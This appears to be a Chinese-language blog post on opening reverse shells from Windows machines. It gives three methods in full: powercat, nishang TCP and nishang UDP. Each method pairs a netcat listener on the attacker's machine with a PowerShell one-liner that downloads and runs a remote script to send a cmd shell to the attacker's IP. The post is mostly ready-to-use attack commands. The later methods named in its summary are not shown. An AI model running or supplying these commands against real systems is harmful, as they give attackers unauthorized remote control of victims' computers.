Windows下反弹shell的方法

本文详细介绍了在Windows环境下使用各种工具和技术进行反弹shell的方法,包括powercat、nishang、Reverse UDP和ICMP shell、自定义powershell函数、dnscat2、Empire结合Office、OLE对象插入bat文件、PowerSploit DLL注入、metasploit和Cobalt strike等,覆盖了TCP、UDP、DNS和ICMP等多种协议的反弹shell技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.powercat反弹shell

powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat

首先攻击者开启监听

nc -lvp 6666

或者使用powercat监听

powercat -l -p 6666

接着在目标机上反弹cmd shell:

powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.159.134 -p 6666 -e cmd

2.nishang反弹shell

Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

Reverse TCP shell
攻击者(192.168.159.134)开启监听:

nc -lvp 6666

目标机执行:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

或者将nishang下载到攻击者本地:

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

3.Reverse UDP shell

攻击者(192.168.159.134)开启监听:

nc -lvup 53

目标机执行:

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值